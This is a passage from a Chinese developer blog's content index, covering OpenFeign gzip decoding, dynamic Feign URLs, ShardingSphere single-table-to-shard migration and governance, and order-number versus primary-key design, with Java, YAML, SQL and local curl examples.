OkHttpClient.Builder().addInterceptor(new UnzippingInterceptor()); 2OkHttpClient client = clientBuilder.build(); 3 4private class UnzippingInterceptor implements Interceptor { 5 @Override 6 public Response intercept(Chain chain) throws IOException { 7 Response response = chain.proceed(chain.request()); 8 return unzip(response); 9 } 10 11 12// copied from okhttp3.internal.http.HttpEngine (because is private) 13private Response unzip(final Response response) throws IOException { 14 if (response.body() == null) 15 { 16 return response; 17 } 18 19 //check if we have gzip response 20 String contentEncoding = response.headers().get(\u0026#34;Content-Encoding\u0026#34;); 21 22 //this is used to decompress gzipped responses 23 if (contentEncoding != null \u0026amp;\u0026amp; contentEncoding.equals(\u0026#34;gzip\u0026#34;)) 24 { 25 Long contentLength = response.body().contentLength(); 26 GzipSource responseBody = new GzipSource(response.body().source()); 27 Headers strippedHeaders = response.headers().newBuilder().build(); 28 return response.newBuilder().headers(strippedHeaders) 29 .body(new RealResponseBody(response.body().contentType().toString(), contentLength, Okio.buffer(responseBody))) 30 .build(); 31 } 32 else 33 { 34 return response; 35 } 36} 基于上面这位网友的，给出我自己的代码实现：\n首先，自己生成 client, 加入自己的 interceptor。\n1package com.my.fedex.kuaidi100.config; 2 3import feign.Client; 4import feign.Feign; 5import okhttp3.ConnectionPool; 6import okhttp3.OkHttpClient; 7import org.springframework.boot.autoconfigure.AutoConfigureAfter; 8import org.springframework.boot.autoconfigure.condition.ConditionalOnClass; 9import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean; 10import org.springframework.cloud.commons.httpclient.OkHttpClientConnectionPoolFactory; 11import org.springframework.cloud.commons.httpclient.OkHttpClientFactory; 12import org.springframework.cloud.openfeign.FeignAutoConfiguration; 13import org.springframework.cloud.openfeign.support.FeignHttpClientProperties; 14import org.springframework.context.annotation.Bean; 15import org.springframework.context.annotation.Configuration; 16 17import java.util.concurrent.TimeUnit; 18 19/** 20 * @author helong 21 * @since 2021-10-21 23:22 22 */ 23@Configuration 24@ConditionalOnClass(Feign.class) 25@AutoConfigureAfter(FeignAutoConfiguration.class) 26public class OkHttpFeignLoadBalancedConfiguration { 27 28 @Bean 29 @ConditionalOnMissingBean({Client.class}) 30 public Client feignClient(okhttp3.OkHttpClient client) { 31 return new feign.okhttp.OkHttpClient(client); 32 } 33 34 @Bean 35 @ConditionalOnMissingBean({ConnectionPool.class}) 36 public ConnectionPool httpClientConnectionPool(FeignHttpClientProperties httpClientProperties, OkHttpClientConnectionPoolFactory connectionPoolFactory) { 37 Integer maxTotalConnections = httpClientProperties.getMaxConnections(); 38 Long timeToLive = httpClientProperties.getTimeToLive(); 39 TimeUnit ttlUnit = httpClientProperties.getTimeToLiveUnit(); 40 return connectionPoolFactory.create(maxTotalConnections, timeToLive, ttlUnit); 41 } 42 43 @Bean 44 public OkHttpClient client(OkHttpClientFactory httpClientFactory, ConnectionPool connectionPool, FeignHttpClientProperties httpClientProperties) { 45 Boolean followRedirects = httpClientProperties.isFollowRedirects(); 46 Integer connectTimeout = httpClientProperties.getConnectionTimeout(); 47 Boolean disableSslValidation = httpClientProperties.isDisableSslValidation(); 48 return httpClientFactory.createBuilder(disableSslValidation) 49 .connectTimeout((long) connectTimeout, TimeUnit.MILLISECONDS) 50 .followRedirects(followRedirects) 51 .connectionPool(connectionPool) 52 .retryOnConnectionFailure(true) 53 .addInterceptor(new UnzippingInterceptor()) 54 .build(); 55 } 56} 自定义 interceptor, 用于解压数据。\n1package com.my.fedex.kuaidi100.config; 2 3import okhttp3.Headers; 4import okhttp3.Interceptor; 5import okhttp3.Request; 6import okhttp3.Response; 7import okhttp3.internal.http.RealResponseBody; 8import okio.GzipSource; 9import okio.Okio; 10 11import java.io.IOException; 12 13/** 14 * @author helong 15 * @since 2021-10-21 23:23 16 */ 17public class UnzippingInterceptor implements Interceptor { 18 @Override 19 public Response intercept(Chain chain) throws IOException { 20 Request build = chain.request().newBuilder().build(); 21 Response response = chain.proceed(build); 22 return unzip(response); 23 } 24 25 // copied from okhttp3.internal.http.HttpEngine (because is private) 26 private Response unzip(final Response response) throws IOException { 27 if (response.body() == null) { 28 return response; 29 } 30 31 //check if we have gzip response 32 String contentEncoding = response.headers().get(\u0026#34;Content-Encoding\u0026#34;); 33 34 //this is used to decompress gzipped responses 35 if (contentEncoding != null \u0026amp;\u0026amp; contentEncoding.equals(\u0026#34;gzip\u0026#34;)) { 36 Long contentLength = response.body().contentLength(); 37 GzipSource responseBody = new GzipSource(response.body().source()); 38 Headers strippedHeaders = response.headers().newBuilder().build(); 39 return response.newBuilder().headers(strippedHeaders) 40 .body(new RealResponseBody(response.body().contentType().toString(), contentLength, Okio.buffer(responseBody))) 41 .build(); 42 } else { 43 return response; 44 } 45 } 46} 最后 feign 请求这里还是不要忘了加 host\n1 2@PostMapping(headers = {\u0026#34;host=poll.kuaidi100.com\u0026#34;}) 3String findKuaiDi100(@RequestParam(\u0026#34;customer\u0026#34;) String customer, 4 @RequestParam(\u0026#34;sign\u0026#34;) String sign, 5 @RequestParam(\u0026#34;param\u0026#34;) String param); 参考 HTTP 中的 Accept-Encoding、Content-Encoding、Transfer-Encoding、Content-Type - AmyZYX - 博客园 https://www.codeleading.com/article/84154165372/ https://www.codeleading.com/article/84154165372/ https://github.com/square/okhttp/issues/3590 https://stackoverflow.com/questions/57831707/spring-feign-not-compressing-response https://cloud.spring.io/spring-cloud-static/spring-cloud-openfeign/2.2.1.RELEASE/reference/html/ ","date":"2021-10-22T06:23:48Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-22-ji-yi-ci-openfeign-xian-shang-luan-ma-wen-ti/cover.jpg","permalink":"/p/2021-10-22-ji-yi-ci-openfeign-xian-shang-luan-ma-wen-ti/","title":"记一次 OpenFeign 线上乱码问题"},{"content":"如果你利用 Spring Cloud OpenFeign 进行服务间调用一般会加入这个注解：\n1@FeignClient(name = \u0026#34;\u0026#34; ,url = \u0026#34;http://myapp.com\u0026#34;,path = \u0026#34;\u0026#34;) 可以看出其中的 url 参数是一个字符串，上面的配置是把它写“死”在代码中了。\n如果我们想根据不同的环境作动态配置，让这个 url 动态的变化应该怎么办呢？\n可以这样：\n首先修改注解\n1@FeignClient(name = \u0026#34;\u0026#34; ,url = \u0026#34;${feign.client.url.TestUrl}\u0026#34;,path = \u0026#34;\u0026#34;) 然后添加配置文件，比如\n在你的 application-dev.yml 文件中\n1feign: 2 client: 3 url: 4 TestUrl: http://dev:dev 在你的 application-pre.yml 文件中\n1feign: 2 client: 3 url: 4 TestUrl: http://pre:pre 利用 Spring 的 EL 表达式，我们就可以让url 根据不同文件的不同值动态获得了。\n另外，还可以给这个表达式指定默认值\n也就是当配置文件没有这个配置的时候给一个默认的配置，这样的话，我们的注解要修改成如下：\n1@FeignClient(name = \u0026#34;\u0026#34; ,url = \u0026#34;${feign.client.url.TestUrl ?: \u0026#39;http://myapp.com\u0026#39;}\u0026#34;,path = \u0026#34;\u0026#34;) 最后给出一个我在实际项目中的例子\n1@FeignClient(name = \u0026#34;idGenerateClient\u0026#34;, 2 path = \u0026#34;/v1/app/internal/test\u0026#34;, 3 url = \u0026#34;#{\u0026#34; + 4 \u0026#34;(\u0026#39;${spring.profiles.active}\u0026#39; eq \u0026#39;local\u0026#39;) ? \u0026#34; + 5 \u0026#34;(\u0026#39;${feignclient-url.\u0026#34; + APPConstant.APPLICATION_NAME + \u0026#34;}\u0026#39; ?: \u0026#39;http://${env.domain}\u0026#39; ): \u0026#34; + 6 \u0026#34;\u0026#39;http://\u0026#34; + APPConstant.APPLICATION_NAME + \u0026#34;\u0026#39;\u0026#34; + 7 \u0026#34;}\u0026#34;, 8 fallbackFactory = XXXClientFallback.class) 9 10feignclient-url: 11 my-app: \u0026#39;127.0.0.1:8805\u0026#39; 参考 https://stackoverflow.com/questions/43733569/how-can-i-change-the-feign-url-during-the-runtime\nhttps://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions\n","date":"2021-10-19T04:24:07Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-19-openfeign-ru-he-she-zhi-dong-tai-url/cover.jpg","permalink":"/p/2021-10-19-openfeign-ru-he-she-zhi-dong-tai-url/","title":"OpenFeign 如何设置动态 URL？"},{"content":"上篇我们讲了单库分表在新业务上的实践 ShardingSphere 分库分表\u0026ndash;第（1）篇，相对比较简单，这篇我们接着聊。\n单库分表-老业务 老业务就是原先表设计好了且业务已经在线跑了一段时间了，有历史数据了。\n那么就有数据迁移的问题。迁移方向是从单表的老表到多表的新表。\n在表结构不变的情况下要注意几个问题：\n主键 id 问题 数据迁移 主键 id 问题 老表主键很可能是自增的，新表是分布式 id, 很可能是用雪花算法计算出来的，是不一样的。首先要保证新表的 id 和老表的不重复，当然这个重复的概率比较小。\n老表 id 根据情况迁移到新表后可以用原始 id 值，也可以重新生成新的 id。如果你的业务并没有用老表 id 作任何业务操作只是一个主键标识，那么无所谓改不改，如果为了统一也可以重新用算法生成新的 id。而如果老表 id 本身有参与业务，比如你的 SQL 里面有利用这个字段关联表，那么就不要动了，因为成本非常高，改的东西很多，个人认为没有必要。\n数据迁移 数据迁移或者叫在线扩容，我们这里的场景只针对之前是单库单表变成单库多表的情况。\n停机迁移\n当然是可以的，停机后将老表数据同步分流到新表上，然后再开机，这样数据不会有不一致的问题。但是要看业务情况，很多业务是 7*24 小时在线不允许停机的，那就不能进行停机迁移，而如果允许一段时间停机比如某政务系统，给系统用户发个通告停机一段时间，是可以的。\n至于具体数据迁移操作可以借用工具或者自己编写程序做，根据不同方法的性能和影响时间进行选择，我们当然期望停机时间越短越好。\n不停机迁移\n常见的方式是双写，将业务数据双写到老表和新表中，这样能保证从双写开始时点的新数据是一致的，至于老数据再通过程序或工具慢慢迁移，直到迁移完成新老表中的数据一致就可以将应用程序完全切换到新的分表进行操作，停掉对于老表的访问。\nShardingSphere 提供的迁移工具 上文中有关数据迁移的方案无论是停机还是不停机的都跟 ShardingSphere 没有关系，这里我们看一下 ShardingSphere 提供的方案，或者说利用 ShardingSphere 我们如何做好数据迁移。\nSharding-Proxy+Sharding-Scaling 是专门用于设计处理分库分表扩容数据迁移问题的组件\n我们先抛开别的不谈，先针对数据迁移这个动作来说\n具体针对本文的例子来说就是把一张单表的数据迁移到具有分表规则的多表中。想一下，其实原理比较简单：就是从单表中把数据读出来然后根据分表规则 insert 到新表中。\n来看下用 ShardingSphere-proxy 结合 ShardingSphere-Scaling 怎么做。\n软件版本情况：\nMySQL 8.0 ShardingSphere-proxy 5.0-beta ShardingSphere-Scaling 5.0-beta ShardingSphere-proxy这端比较简单，跟之前文章中介绍的 proxy 配置方法差不多，下文是我的 config-myapp.yaml 的配置：\n1 2schemaName: my-app 3 4dataSources: 5 write_ds: 6 url: jdbc:mysql://mysql.local.test.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 7 username: root 8 password: nicai 9 connectionTimeoutMilliseconds: 3000 10 idleTimeoutMilliseconds: 60000 11 maxLifetimeMilliseconds: 1800000 12 maxPoolSize: 50 13 minPoolSize: 1 14 maintenanceIntervalMilliseconds: 30000 15 read_ds_0: 16 url: jdbc:mysql://mysql.local.test.read1.myapp.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 17 username: root 18 password: nicai 19 connectionTimeoutMilliseconds: 3000 20 idleTimeoutMilliseconds: 60000 21 maxLifetimeMilliseconds: 1800000 22 maxPoolSize: 50 23 minPoolSize: 1 24 maintenanceIntervalMilliseconds: 30000 25 26rules: 27 - !SHARDING 28 tables: 29 # 虚拟表名称 30 t_order_sharding: 31 actualDataNodes: write_ds.t_order_sharding_$-\u0026gt;{0..1} 32 tableStrategy: 33 standard: 34 # 分片键 35 shardingColumn: order_id 36 shardingAlgorithmName: table_inline 37 keyGenerateStrategy: 38 column: id 39 keyGeneratorName: snowflake #主键生成策略 -- 雪花算法 40 shardingAlgorithms: 41 table_inline: 42 type: INLINE 43 props: 44 # 数据库表分表规则 45 algorithm-expression: t_order_sharding_$-\u0026gt;{order_id % 2 } 46 keyGenerators: 47 snowflake: 48 type: SNOWFLAKE 49 props: 50 worker-id: 123 分片规则也很简单，就是 2 个表，用 2 取模。\n由于 proxy 和 scaling 都需要连接 zookeeper , 所以在启动 proxy 之前，我先在本地部署了一个 zookepper\n1cd apache-zookeeper-3.6.3-bin/ 2cd conf 3cp zoo_sample.cfg zoo.cfg 4... 5cd bin 6./zkServer.sh 测试 zookeeper 正常启动，我的笔记本是 macbook 用的 zookeeper 客户端是 prettyZoo(https://github.com/vran-dev/PrettyZoo). 之后将 proxy 无异常的启动起来，用 MySQL 客户端测试连接正常，这步就搞定了。\nShardingSphere-Scaling这里有坑，文档上没写，是这样的，首先 修改 server.xml, 将注册中心的配置打开，配置上我们刚才启动的 zookeeper。\n1scaling: 2 port: 8888 3 blockQueueSize: 10000 4 workerThread: 30 5 6governance: 7 name: governance_ds 8 registryCenter: 9 type: ZooKeeper 10 serverLists: localhost:2181 然后到 bin 目录下运行 server_start.sh 就可以正常启动了，但可以看到 bin 目录下还有这些文件：\nserver_start.bat server_start.sh server_stop.sh worker_start.bat worker_start.sh worker_stop.sh 嗯，相信你也觉得 workder_start 应该有点儿用，于是我就把它用启动起来，可是却给我这样的提示：\n1ERROR: The ShardingSphere-Scaling already started! 2PID: 11946 312336 开始我以为见文知意，就是那个意思，人家已经启动了，不用再启了，就没管它，可当我来回折腾了一天配置发现怎么都不行于是 download 源码本地 debug 后才知道，不行还是得跑，它是有用的，只不过我是重新 copy 了文件目录，然后修改了端口号再执行的。也就是分别启了两个进程，分别执行了 worker_start.sh 和 server_start.sh\n还有 2 个地方要注意，官文文档上也提到了：\n如果后端连接 MySQL 数据库，请下载 mysql-connector-java-5.1.47.jar，并将其放入 ${shardingsphere-scaling}\\lib 目录。 MySQL 需要开启 binlog，binlog format 为 Row 模式，且迁移时所使用用户需要赋予 Replication 相关权限。 再之后，是利用 Scaling 的 API 接口请求，新建并开始迁移任务，先看下我的“创建迁移任务”请求：\n1curl -X POST \\ 2 http://localhost:8888/scaling/job/start \\ 3 -H \u0026#39;content-type: application/json\u0026#39; \\ 4 -d \u0026#39;{ 5 \u0026#34;ruleConfig\u0026#34;: { 6 \u0026#34;source\u0026#34;: { 7 \u0026#34;type\u0026#34;: \u0026#34;shardingSphereJdbc\u0026#34;, 8 \u0026#34;parameter\u0026#34;: \u0026#34; 9 dataSources: 10 write_ds: 11 dataSourceClassName: com.zaxxer.hikari.HikariDataSource 12 jdbcUrl: jdbc:mysql://mysql.local.test.myall.com:23306/test?allowPublicKeyRetrieval=true\u0026amp;useSSL=false\u0026amp;allowMultiQueries=true\u0026amp;serverTimezone=Asia/Shanghai\u0026amp;useSSL=false\u0026amp;autoReconnect=true\u0026amp;useUnicode=true\u0026amp;characterEncoding=utf-8\u0026amp;zeroDateTimeBehavior=convertToNull 13 username: root 14 password: nicai 15 rules: 16 - !SHARDING 17 tables: 18 # 虚拟表名称 19 t_order_sharding: 20 actualDataNodes: write_ds.t_order_sharding 21 tableStrategy: 22 standard: 23 # 分片键 24 shardingColumn: order_id 25 shardingAlgorithmName: table_inline 26 shardingAlgorithms: 27 default_db_inline: 28 type: INLINE 29 props: 30 algorithm-expression: write_ds 31 table_inline: 32 type: INLINE 33 props: 34 # 数据库表分表规则 35 algorithm-expression: t_order_sharding 36 \u0026#34; 37 }, 38 \u0026#34;target\u0026#34;: { 39 \u0026#34;type\u0026#34;: \u0026#34;jdbc\u0026#34;, 40 \u0026#34;parameter\u0026#34;: \u0026#34; 41 username: root 42 password: root 43 jdbcUrl: jdbc:mysql://127.0.0.1:3307/my-app?serverTimezone=UTC\u0026amp;useSSL=false 44 \u0026#34; 45 } 46 }, 47 \u0026#34;jobConfiguration\u0026#34;:{ 48 \u0026#34;concurrency\u0026#34;:\u0026#34;1\u0026#34; 49 } 50 }\u0026#39; 由于我是想从单表迁移数据到多分表，所以 rules 里面配置的都是单表名称，而 target 中的就是我们的 proxy，由于 proxy 中已经配置了分表规则，所以 scaling 能够利用“源（单表）”和“目标（proxy 配置的分表）” 来进行数据的迁移工作。\n任务创建好后并执行后可以执行以下请求查看任务进度：\n1curl -X GET \\ 2 http://localhost:8888/scaling/job/progress/655462928387932161 最后跟的数字就是你的任务 id。也可以查看所有任务和停止某任务，具体请参考官方文档：https://shardingsphere.apache.org/document/5.0.0-beta/cn/user-manual/shardingsphere-scaling/usage/\n这是任务从开始执行到结束，我 worker 的后台日志：\n从数据库结果上看，我的单表中的数据也确实按照分表规则被分到了不同的表中。\n官方文档说可以利用 shardingsphere-ui 项目可视化的操作迁移任务，我下载并启动了 apache-shardingsphere-5.0.0-alpha-shardingsphere-ui 这个版本，但不知是不是版本的问题，报各种空指针异常，由于时间的关系就没有下源码再分析了，期望后续版本能够正常。\n如果再执行一次会怎样？\n重复操作，再执行一次会报错，提示表不为空。于是我推测不能直接做增量迁移。不过 ShardingSphere 是支持增量迁移的，但时机是在总的迁移任务开始以后自动做，如果在迁移的时间段内有新的增量数据进到老表，SharadingSphere-Scaling 是会根据 MySQL 的 binlog 来把这些数据出迁移到新表中的。\n分布式治理 ShadringSphere 提供了分布式治理的解决方案，它实现的动机如下：\n配置集中化：越来越多的运行时实例，使得散落的配置难于管理，配置不同步导致的问题十分严重。将配置集中于配置中心，可以更加有效进行管理。\n配置动态化：配置修改后的分发，是配置中心可以提供的另一个重要能力。它可支持数据源和规则的动态切换。\n存放运行时的动态/临时状态数据，比如可用的 ShardingSphere 的实例，需要禁用或熔断的数据源等。\n提供熔断数据库访问程序对数据库的访问和禁用从库的访问的编排治理能力。治理模块仍然有大量未完成的功能（比如流控等）\n我们利用分布式治理来实现一个配置动态切换和更新的功能（比如分片规则和数据源）\n软件环境：\nMySQL 8 SpringBoot 2 ShardingSphere 5.0.0-beta 首先引入相关依赖\n1\u0026lt;!-- sharding jdbc 依赖--\u0026gt; 2\u0026lt;!--\u0026lt;dependency\u0026gt;--\u0026gt; 3 \u0026lt;!--\u0026lt;groupId\u0026gt;org.apache.shardingsphere\u0026lt;/groupId\u0026gt;--\u0026gt; 4 \u0026lt;!--\u0026lt;artifactId\u0026gt;shardingsphere-jdbc-core-spring-boot-starter\u0026lt;/artifactId\u0026gt;--\u0026gt; 5 \u0026lt;!--\u0026lt;version\u0026gt;5.0.0-beta\u0026lt;/version\u0026gt;--\u0026gt; 6\u0026lt;!--\u0026lt;/dependency\u0026gt;--\u0026gt; 7 8\u0026lt;dependency\u0026gt; 9 \u0026lt;groupId\u0026gt;org.apache.shardingsphere\u0026lt;/groupId\u0026gt; 10 \u0026lt;artifactId\u0026gt;shardingsphere-jdbc-governance-spring-boot-starter\u0026lt;/artifactId\u0026gt; 11 \u0026lt;version\u0026gt;5.0.0-beta\u0026lt;/version\u0026gt; 12\u0026lt;/dependency\u0026gt; 13 14\u0026lt;!-- 使用 ZooKeeper 时，需要引入此模块 --\u0026gt; 15\u0026lt;dependency\u0026gt; 16 \u0026lt;groupId\u0026gt;org.apache.shardingsphere\u0026lt;/groupId\u0026gt; 17 \u0026lt;artifactId\u0026gt;shardingsphere-governance-repository-zookeeper-curator\u0026lt;/artifactId\u0026gt; 18 \u0026lt;version\u0026gt;5.0.0-beta\u0026lt;/version\u0026gt; 19\u0026lt;/dependency\u0026gt; 注意注释掉的部分是之前用 jdbc 的时候写的，如果要用治理功能需要注释掉那部分依赖。\n修改 spring 配置文件\n1spring: 2 profiles: 3 include: common-local 4 5 shardingsphere: 6 governance: 7 name: governance_ds_test 8 overwrite: false 9 registry-center: 10 server-lists: localhost:2181 11 type: Zookeeper 这里我们用本地的 zookeeper 作配置和注册中心，本来 ShardingSphere 的老版本 apollo 和 nacos 是支持作配置中心的，但后来给移除了：https://github.com/apache/shardingsphere/issues/9538\n根据官方文档提供的数据结构，编写注册中心数据（配置跟之前的非常类似）\n到这里基本就结束了，可以启动应用看一下能不能正常连接到数据库并操作数据。\n接着我们可以将注册中心的数据修改一下，比如你之前没有加入分片规则，那么读的是单表，修改后加入了分片规则就可以让程序去读多表了。这样就实现了我们从 zookeeper 这端更新配置，应用程序那端动态更新了数据源或分片规则。\n整体方案 基于以上所有，我的整体方案是这样的，大致分三步：\n先迁移数据 再动态更新配置 手动补录数据 第一步，修改应用的配置文件，引入 ShardingSphere 分布式治理依赖，将数据库相关配置拆解到 zookeeper 中。但保持老表配置不变，不作分片。最后上线更新应用。这一步由于没改什么东西，对用户和开发都是无感的。\n第二步，根据要迁移的表的数据量做好迁移时间的评估，然后挑一个业务量最少的时间段，利用上文的 ShardingSphere-proxy + ShardingSphere-Scaling 方案进行单表到多表的数据迁移，这时数据源连接什么的都不变，所有请求还在老表中。只是数据在迁移，而且利用 ShardingSphere-Scaling 可以将存量和迁移过程中产生的增量数据全部迁移到新表中。\n第三步，迁移完成后修改 zookeeper 中的配置，加入分片规则，所有请求将打到新的分片表中。\n第四步，在迁移完成到配置切换完成这段时间，可能是几秒或者几分钟，虽然我们已经挑了一个业务量最少的时段进行操作，但仍然有可能会有用户的写请求进来，那么在这个时段产生的数据是会在老表中，不在新表中的。对于这部分数据我们需要人工去查询并尽快补录到新表中。由于这样的数据不会太多，所以操作起来也不会很麻烦，最好提前写好程序到时候跑一下，两边同步就可以了。\n以上方案对于应用是完全透明的，不用改一行代码。\n其他情况 本文的场景是单库单表到单表多表的分表场景实现，其他场景如：\n单库 多表分片在线扩容（比如原来分了2个表，现在要分4个） 多库 多表分片在线扩容 (比如原来分了2个库2个表，现在要分4个库4个表） 有了本文的铺垫，这些场景在处理上就大同小异了，只是不同配置而已。\n参考 https://blog.51cto.com/u_15057819/2622783 https://tech.meituan.com/2016/11/18/dianping-order-db-sharding.html https://shardingsphere.apache.org/document/5.0.0-beta/en/overview/ ","date":"2021-10-15T06:02:14Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-15-shardingsphere-fen-ku-fen-biao-2-dan-biao-fen-biao-jie-jue-f/cover.jpg","permalink":"/p/2021-10-15-shardingsphere-fen-ku-fen-biao-2-dan-biao-fen-biao-jie-jue-f/","title":"ShardingSphere 分库分表(2)-单表分表解决方案"},{"content":"id 列 首先说 id 列一般作为主键，没有什么业务含义，设计的目的是为了查询和索引方便，如果用单表的情况下一般会设置为自增，有序了以后，无论数据库还是业务检索起来效率都非常高。\n在分布式场景中，单表已经不能满足我们的需求了，所以用自增 id 的方案也就不合适了。当比如我们进行分表设计时，主键列到底如何生成就成了一个问题，流行的方法是利用像 snowflake 这样的算法计算出一个趋势有序的值作为 id。（当然还有其他多种方法）这样就满足了扩展性和一定程度上解决了检索性能的问题。\n订单号 订单号的生成一般有相应的规则，而这些规则是各自产品根据自己情况自行设计的结果。\n举几个例子\n京东的：\n京东 2013 年的订单号 ：479000238 京东 2014 年的订单号 ：7783813454 京东 2018 年的订单号 ：81467423041 京东 2020 年的订单号 ：132971864529 淘宝的：\n淘宝 2012 年的订单号 ：230447522918072 淘宝 2016 年的订单号 ：2131062693288072 淘宝 2019 年的订单号 ：329062467847108072 淘宝 2021 年的订单号 ：2075316735066108072 可以看到京东和淘宝的订单号都是在递增的，而且淘宝的看起来是有规律的，这个查了一下有说从 2017 年淘宝升级了订单，原先是用订单号后 4 位识别用户，2017 年以后改为用后 6 位了。\n“\n那么淘宝订单编号后 6 位用户 id 后 6 位的目的是什么？\n翻遍了百度、知乎，没有找到答案。\n我是偶然间翻到一份淘宝技术演变 PPT，看到订单表分库的逻辑时才恍然大悟。\n一般的平台型电商，订单量大，为保证查询检索速度，都会采用分库的形式，将巨量的订单信息分库存储，一般情况下订单系统同时维护了一个订单号和 userid 的关联关系，先根据订单号查到 userid，再根据 userid 确定分表进而查询得到内容。而淘宝在订单号上下功夫，通过订单号后 6 位直接锁定库表，大大提升高并发下的系统查询性能。\n从这个策略我们也可以看到淘宝用户订单库是按照用户 id 后 6 位存储的，例如：XXXX452154 格式的用户订单都是储存在一个分库中。\n”\n我通过查询发现自己的淘宝 id 后 6 位是 107280，而我的订单号后 6 位是 108072，还是有规律的。\n找到了一个淘宝 2012 年的 PPT，可能 12 年之前的设计又不一样。\n订单号生成规则 不重复显然，这种具有唯一标识的号码是不能重复的\n安全不能被人为的猜测或推测出来\n易识别易识别就代表位数不要太长，位数控制好了就容易查询检索，占用空间小。\n几种常见的规则\n年月日+自增长数字的订单号（比如：2012040110235662） 字母+数字字符串式，字母有包含特别意义，C02356652 Snowflake 算法生成 年月日+机构编码+后四位随机 订单号可不可以作主键 id 列 前提是你根据你自己设计或选择的订单号规则生成了一个可行的订单号，这种情况下，如果你的订单号包含字母等字符串那么是不合适作主键的。虽然唯一，但索引查询性能较差。不过可以做唯一索引。\n如果订单号是纯数字呢？\n也不建议，数字当然有它的优点，性能好（位数长了也不好），但是订单号毕竟是跟业务相关的，与业务相关的列作主键本身可能会有问题。\n假如未来的一天我们要改变业务含义，也许想把数字改字母，加几位或少几位，那么就必须修改主键了，核心数据表的主键修改，可是牵一发而动全身的，会造成极大的维护开销。\n虽然直观上感觉“多了一列”，但并不是无用的，对未来的扩展性会有很大帮助。综上，回答我们标题的问题：“订单号和 id 列可不可以是同一列？” 或者说订单号可不可以作主键，我认为可以，但不适合，所以建议不要用订单号做主键。用与业务无关的 id 列作主键比较合适。\n主键列怎么设置？\n如果是单表，当然是用自增 id, 如果考虑到分库分表，可以采用像 snowflake 这样的生成方案。\n参考 https://www.zhihu.com/question/19805896 http://www.woshipm.com/pd/3742068.html ","date":"2021-10-12T08:31:36Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2021-10-12-ding-dan-hao-he-id-lie-ke-bu-ke-yi-shi-tong-yi-lie/cover.jpg","permalink":"/p/2021-10-12-ding-dan-hao-he-id-lie-ke-bu-ke-yi-shi-tong-yi-lie/","title":"订单号和 id 列可不可以是同一列？"},{"content":"分布式主键问题 传统数据库软件开发中，主键自动生成技术是基本需求。而各个数据库对于该需求也提供了相应的支持，比如 MySQL 的自增键，Oracle 的自增序列等。数据分片后，不同数据节点生成全局唯一主键是非常棘手的问题。同一个逻辑表内的不同实际表之间的自增键由于无法互相感知而产生重复主键。虽然可通过约束自增主键初始值和步长的方式避免碰撞，但需引入额外的运维规则，使解决方案缺乏完整性和可扩展性。\n目前有许多第三方解决方案可以完美解决这个问题，如 UUID 等依靠特定算法自生成不重复键，或者通过引入主键生成服务等。为了方便用户使用、满足不同用户不同使用场景的需求， Apache ShardingSphere 不仅提供了内置的分布式主键生成器，例如 UUID、SNOWFLAKE，还抽离出分布式主键生成器的接口，方便用户自行实现自定义的自增主键生成器。\n可以参考之前的一篇文章：分库分表与到底要不要用自增ID?\n分片键 用于分片的数据库字段，是将数据库（表）水平拆分的关键字段。例：将订单表中的订单主键的尾数取模分片，则订单主键为分片字段。SQL 中如果无分片字段，将执行全路由，性能较差。除了对单分片字段的支持，Apache ShardingSphere 也支持根据多个字段进行分片。\n路由 广播路由 对于不携带分片键的 SQL，采取广播路由的方式。\n1 2SELECT * FROM t_order WHERE good_prority IN (1, 10); 这样一句 SQL 广播到全库表查询\n1SELECT * FROM t_order_0 WHERE good_prority IN (1, 10); 2SELECT * FROM t_order_1 WHERE good_prority IN (1, 10); 3SELECT * FROM t_order_2 WHERE good_prority IN (1, 10); 4SELECT * FROM t_order_3 WHERE good_prority IN (1, 10); 单播路由 单播路由用于获取某一真实表信息的场景，它仅需要从任意库中的任意真实表中获取数据即可。\n实践 由于我们数据库的发展方向大概是这样的：\n所以我们按照趋势先做单库分表的操作实践，再做分库分表的。\n声明一下版本，以下实践用的是 ShardingSphere5.0 Beta版本\n单库分表-新业务 我们先假设在理想情况下，也就是业务未开始前就采用分表的方式。\n由于 ShardingSphere 是不会自动按照分表规则创建表的，所以我们先手动将表创建好，当然也只是表名不一样，表结构是相同的，以下是测试用建表语句：\n1CREATE TABLE `t_order_sharding_0` ( 2 `order_id` bigint(20) NOT NULL, 3 `user_id` bigint(20) DEFAULT NULL, 4 `create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT \u0026#39;创建时间\u0026#39;, 5 `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT \u0026#39;更新时间\u0026#39;, 6 PRIMARY KEY (`order_id`) 7) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 8 9CREATE TABLE `t_order_sharding_1` ( 10 `order_id` bigint(20) NOT NULL, 11 `user_id` bigint(20) DEFAULT NULL, 12 `create_time` datetime DEFAULT CURRENT_TIMESTAMP COMMENT \u0026#39;创建时间\u0026#39;, 13 `update_time` datetime DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT \u0026#39;更新时间\u0026#39;, 14 PRIMARY KEY (`order_id`) 15) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci; 为了演示方便，我们简单建了两个表 t_order_sharding_0,t_order_sharding_1\n以下是我 yaml 配置文件中有关分表部分的配置：\n1# 配置分库分表 2sharding: 3 sharding-algorithms: 4 table_inline: 5 props: 6 algorithm-expression: t_order_sharding_${order_id % 2} 7 type: INLINE 8 tables: 9 